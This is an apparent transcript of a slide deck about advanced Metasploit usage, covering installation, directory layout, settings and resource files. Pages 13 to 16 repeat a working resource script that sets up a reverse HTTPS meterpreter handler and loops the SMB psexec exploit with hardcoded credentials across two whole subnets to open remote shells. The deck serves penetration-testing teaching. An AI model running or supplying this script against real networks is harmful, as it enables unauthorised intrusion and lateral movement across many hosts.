metasploit magic the dark coners of the framework

19
Metasploit Magic A little sleight of hand

Upload: rob-fuller

Post on 08-May-2015

921 views

Category:

Technology


4 download

TRANSCRIPT

Page 1: Metasploit magic   the dark coners of the framework

Metasploit MagicA little sleight of hand

Page 2: Metasploit magic   the dark coners of the framework

But first...

Page 3: Metasploit magic   the dark coners of the framework

Installing Metasploit

svn co https://metasploit.com/svn/trunk msf

Page 4: Metasploit magic   the dark coners of the framework

not.. here

Page 5: Metasploit magic   the dark coners of the framework

ESPECIALLY not here

Page 6: Metasploit magic   the dark coners of the framework

it is a SYN

Page 7: Metasploit magic   the dark coners of the framework

SRSLY!

Page 8: Metasploit magic   the dark coners of the framework

here is ok ;-)

Page 9: Metasploit magic   the dark coners of the framework

and remember...

this isn’t the only place you can install it...

Page 10: Metasploit magic   the dark coners of the framework

Directory StructureHACKING

documentation

msfconsole

msfgui

msfpescan

tools

bins

external

lib

msfd

msfmachscan

msfrpc

plugins

scripts

README

modules

msfelfscan

msfopcode

msfrpcd

psexec.rc

armitage

data

msfcli

msfencode

msfpayload

msfupdate

Page 11: Metasploit magic   the dark coners of the framework

~/.msf3/

• history, logs, loot

• msfconsole.rc

• YOUR SETTINGS

• modules

• YOUR MODULES

Page 12: Metasploit magic   the dark coners of the framework

resource files

line by line script

can understand ruby

for meterpreter sessions now!

./msfconsole -r psexec.rc

msf> resource psexec.rc

Page 13: Metasploit magic   the dark coners of the framework

psexec scanneruse multi/handler setg PAYLOAD windows/meterpreter/reverse_https setg LHOST 192.168.1.100 setg LPORT 443 set ExitOnSession false exploit -j -z !use windows/smb/psexec set SMBUser AdminBob set SMBPass ThisPasswordSucks set SMBDomain . set DisablePayloadHandler true !<ruby> !require 'rex/socket/range_walker' !rhosts = '10.10.10.0/24,10.10.14.0/24' !iplist = Rex::Socket::RangeWalker.new(rhosts) iplist.each do |rhost| self.run_single("set RHOST #{rhost}") self.run_single("exploit -j -z") end </ruby> !

Page 14: Metasploit magic   the dark coners of the framework

psexec scanneruse multi/handler setg PAYLOAD windows/meterpreter/reverse_https setg LHOST 192.168.1.100 setg LPORT 443 set ExitOnSession false exploit -j -z !use windows/smb/psexec set SMBUser AdminBob set SMBPass ThisPasswordSucks set SMBDomain . set DisablePayloadHandler true !<ruby> !require 'rex/socket/range_walker' !rhosts = '10.10.10.0/24,10.10.14.0/24' !iplist = Rex::Socket::RangeWalker.new(rhosts) iplist.each do |rhost| self.run_single("set RHOST #{rhost}") self.run_single("exploit -j -z") end </ruby> !

Page 15: Metasploit magic   the dark coners of the framework

psexec scanneruse multi/handler setg PAYLOAD windows/meterpreter/reverse_https setg LHOST 192.168.1.100 setg LPORT 443 set ExitOnSession false exploit -j -z !use windows/smb/psexec set SMBUser AdminBob set SMBPass ThisPasswordSucks set SMBDomain . set DisablePayloadHandler true !<ruby> !require 'rex/socket/range_walker' !rhosts = '10.10.10.0/24,10.10.14.0/24' !iplist = Rex::Socket::RangeWalker.new(rhosts) iplist.each do |rhost| self.run_single("set RHOST #{rhost}") self.run_single("exploit -j -z") end </ruby> !

Page 16: Metasploit magic   the dark coners of the framework

psexec scanneruse multi/handler setg PAYLOAD windows/meterpreter/reverse_https setg LHOST 192.168.1.100 setg LPORT 443 set ExitOnSession false exploit -j -z !use windows/smb/psexec set SMBUser AdminBob set SMBPass ThisPasswordSucks set SMBDomain . set DisablePayloadHandler true !<ruby> !require 'rex/socket/range_walker' !rhosts = '10.10.10.0/24,10.10.14.0/24' !iplist = Rex::Socket::RangeWalker.new(rhosts) iplist.each do |rhost| self.run_single("set RHOST #{rhost}") self.run_single("exploit -j -z") end </ruby> !

Page 17: Metasploit magic   the dark coners of the framework

magic

• user .*psexec

Page 18: Metasploit magic   the dark coners of the framework

other fun...

• script

• color = false

• screen

Page 19: Metasploit magic   the dark coners of the framework

meterpreter>guid

• twitter.com/mubix

• mubix[hak5.org]